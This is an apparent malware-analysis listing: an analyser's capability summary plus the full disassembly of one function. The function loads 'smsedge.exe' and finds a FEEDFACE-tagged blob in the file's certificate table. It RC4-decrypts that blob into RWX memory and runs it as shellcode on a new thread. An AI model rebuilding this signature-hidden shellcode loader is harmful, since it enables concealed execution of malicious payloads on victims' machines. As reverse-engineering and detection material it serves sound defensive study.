Function at 0x10001340
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x41c
mov eax, dword [0x100a6014]
xor eax, esp
mov dword [esp + 0x418], eax
push ebx
push esi
push edi
push 0xff
lea eax, [esp + 0x224]
push 0
push eax
call fcn.100026c0
add esp, 0xc
lea eax, [esp + 0x320]
push 0xff
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x320]
push 0x5c
push eax
call fcn.10002320
add esp, 8
test eax, eax
je 0x100013a2
mov byte [eax], 0
lea eax, [esp + 0x320]
push eax
push str._smsedge.exe
lea eax, [esp + 0x228]
push 0xff
push eax
call fcn.10001300
add esp, 0x10
xor ebx, ebx
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x118], eax
lea eax, [esp + 0x220]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x10001724
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.10007d00
add esp, 4
mov edi, eax
lea eax, [esp + 0x118]
mov dword [esp + 0x10], edi
push ebx
push eax
push esi
mov esi, dword [esp + 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x118], ebx
jne 0x1000145c
lea eax, [esp + 0x220]
push eax
push str.___:_Could_not_read_file__s_n
push 2
call fcn.10004f5c
add esp, 4
push eax
call fcn.100012e0
add esp, 0xc
xor ebx, ebx
jmp 0x100016ee
mov eax, 0x5a4d
cmp word [edi], ax
je 0x10001475
lea eax, [esp + 0x220]
push eax
push str.___:__s_is_not_a_valid_PE_file_n
jmp 0x10001442
lea esi, [edi + 0x18]
mov ecx, 0x38
add esi, dword [edi + 0x3c]
lea edi, [esp + 0x120]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push str.IsWow64Process
push str.kernel32
mov esi, eax
mov dword [esp + 0x124], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100014be
lea ecx, [esp + 0x11c]
push ecx
push esi
call eax
cmp dword [esp + 0x11c], ebx
je 0x100014dd
mov eax, 0x20b
cmp word [esp + 0x120], ax
jne 0x100014f2
mov ebx, 2
jmp 0x100014f2
mov ecx, 0x10b
mov eax, 0xfffffffe
cmp word [esp + 0x120], cx
cmove ebx, eax
mov esi, dword [esp + ebx*8 + 0x1a0]
mov ebx, dword [esp + ebx*8 + 0x1a4]
push esi
push str.__:_Certificate_Table_RVA__x_n
call fcn.10001060
push ebx
push str.__:_Certificate_Table_Size__d_n
call fcn.10001060
mov edi, dword [esp + 0x20]
add esp, 0x10
add edi, esi
xor esi, esi
test ebx, ebx
je 0x1000156f
cmp byte [esi + edi], 0xfe
jne 0x10001540
cmp byte [esi + edi + 1], 0xed
jne 0x10001540
cmp byte [esi + edi + 2], 0xfa
jne 0x10001540
cmp byte [esi + edi + 3], 0xce
je 0x10001547
inc esi
cmp esi, ebx
jb 0x10001525
jmp 0x1000156f
push 0xce
push 0xfa
push 0xed
push 0xfe
push str.__:_Tag_Found_0x_x_x_x_x_n
call fcn.10001060
lea eax, [esi + 8]
add esp, 0x14
mov dword [esp + 0xc], eax
lea eax, [esi + 8]
mov esi, dword [esp + 0xc]
cmp esi, eax
je 0x10001599
push str.___:_Could_not_locate_data_shellcode_n
push 2
call fcn.10004f5c
add esp, 4
push eax
call fcn.100012e0
add esp, 8
xor ebx, ebx
jmp 0x100016e6
sub ebx, esi
push ebx
call fcn.10007d00
add esp, 4
mov dword [esp + 0xc], eax
lea ecx, [edi + esi]
push ebx
push ecx
push eax
call fcn.10003370
add esp, 0xc
xor edi, edi
xor ecx, ecx
mov esi, 3
nop
mov eax, ecx
mov byte [esp + ecx + 0x120], cl
cdq
idiv esi
mov al, byte [edx + 0x1001a7d0]
mov byte [esp + ecx + 0x18], al
inc ecx
cmp ecx, 0x100
jl 0x100015c0
xor esi, esi
mov dl, byte [esp + esi + 0x120]
movzx eax, byte [esp + esi + 0x18]
add eax, edi
movzx ecx, dl
add ecx, eax
mov edi, ecx
and edi, 0x800000ff
jns 0x10001606
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x120]
mov byte [esp + edi + 0x120], dl
mov byte [esp + esi + 0x120], al
inc esi
cmp esi, 0x100
jl 0x100015e1
xor edx, edx
xor esi, esi
test ebx, ebx
jle 0x10001696
xor edi, edi
nop
inc edi
and edi, 0x800000ff
jns 0x10001641
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x120]
movzx eax, cl
add edx, eax
and edx, 0x800000ff
jns 0x1000165d
dec edx
or edx, 0xffffff00
inc edx
mov al, byte [esp + edx + 0x120]
mov byte [esp + edx + 0x120], cl
movzx ecx, al
mov byte [esp + edi + 0x120], al
movzx eax, byte [esp + edx + 0x120]
add ecx, eax
movzx eax, cl
mov ecx, dword [esp + 0xc]
movzx eax, byte [esp + eax + 0x120]
xor byte [esi + ecx], al
inc esi
cmp esi, ebx
jl 0x10001630
push ebx
push str._n__:_Encrypted_Decrypted_Data_Size__d_n
call fcn.10001060
add esp, 8
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push ebx
mov ebx, dword [esp + 0x14]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
test edi, edi
je 0x100016fb
push edi
call fcn.10007cf0
add esp, 4
test ebx, ebx
je 0x10001708
push ebx
call fcn.10007cf0
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x424]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10001a8f
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x220]
push eax
push str.___:_Could_not_read_file__s_n
push 2
call fcn.10004f5c
add esp, 4
push eax
call fcn.100012e0
add esp, 0xc
push 1
call fcn.10007cd7
int3